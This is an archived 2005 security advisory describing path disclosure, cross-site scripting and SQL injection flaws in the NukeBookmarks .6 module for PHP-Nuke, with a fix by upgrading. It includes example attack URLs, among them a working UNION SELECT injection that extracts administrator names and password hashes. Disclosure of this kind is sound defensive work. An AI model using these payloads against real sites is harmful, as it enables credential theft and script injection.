[Full-disclosure] ZH2005-03SA -- multiple vulnerabilities in NukeBookmarks .6

2005-03-26T00:00:00
ID SECURITYVULNS:DOC:8161
Type securityvulns
Reporter Securityvulns
Modified 2005-03-26T00:00:00

Description

ZH2005-03SA -- multiple vulnerabilities in NukeBookmarks .6

Author: Gerardo 'Astharot' Di Giacomo Date: 26 March 2005

Product: NukeBookmarks .6 URL: http://nukebookmarks.sourceforge.net/

About the product

>From the home page: "Nuke Bookmarks is a module for PHP-Nuke that allows users to store their own personal bookmarks on the server, much like Yahoo Bookmarks".

Vulnerabilities summary

1) Full path disclosure 2) Cross Site Scripting 3) SQL Injection

Details

1) Full path disclosure It's possible to retrieve the full installation URL of the website. In "marks.php" file, there are some queries to the database. If some parameters miss or some strange characters are submitted, the functions that get results from the database will return an error.

Examples: http://www.nukesite.com/modules.php?name=Bookmarks&file=marks http://www.nukesite.com/modules.php?name=Bookmarks&file=marks&category=1'

2) Cross Site Scripting Almost all of the variables supplied by the user aren't checked and sanitized. It's possible to inject HTML code into page and do a cross site scripting attack.

Examples: http://www.nukesite.com/modules.php?name=Bookmarks&file=del_cat&catname=[htmlcode] http://www.nukesite.com/modules.php?name=Bookmarks&file=del_mark&markname=[htmlcode] http://www.nukesite.com/modules.php?name=Bookmarks&file=edit_cat&catname=[htmlcode]

http://www.nukesite.com/modules.php?name=Bookmarks&file=edit_cat&catcomment=[htmlcode] http://www.nukesite.com/modules.php?name=Bookmarks&file=marks&catname=[htmlcode] http://www.nukesite.com/modules.php?name=Bookmarks&file=uploadbookmarks&category=[htmlcode]

These other strings are potentially vulnerable but not exploitable: http://www.nukesite.com/modules.php?name=Bookmarks&file=edit_mark&markname=[htmlcode] http://www.nukesite.com/modules.php?name=Bookmarks&file=edit_mark&markurl=[htmlcode] http://www.nukesite.com/modules.php?name=Bookmarks&file=edit_mark&markcomment=[htmlcode]

3) SQL Injection It's possible to get any content from the database by exploiting a SQL Injection vulnerability in "marks.php" file.

Example: http://www.nukesite.com/modules.php?name=Bookmarks&file=marks&catname=1&category=-1//union//select%200,aid,0,pwd,0,0%20from%20nuke_authors

This example will get the list of PHPNuke authors and the relative hashes of the passwords.

Solution

Download the latest version of NukeBookmarks (.7).

Contacts

astharot@zone-h.org http://www.zone-h.org - http://www.zone-h.it

Original URL: http://zone-h.org/advisories/read/id=7356


Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/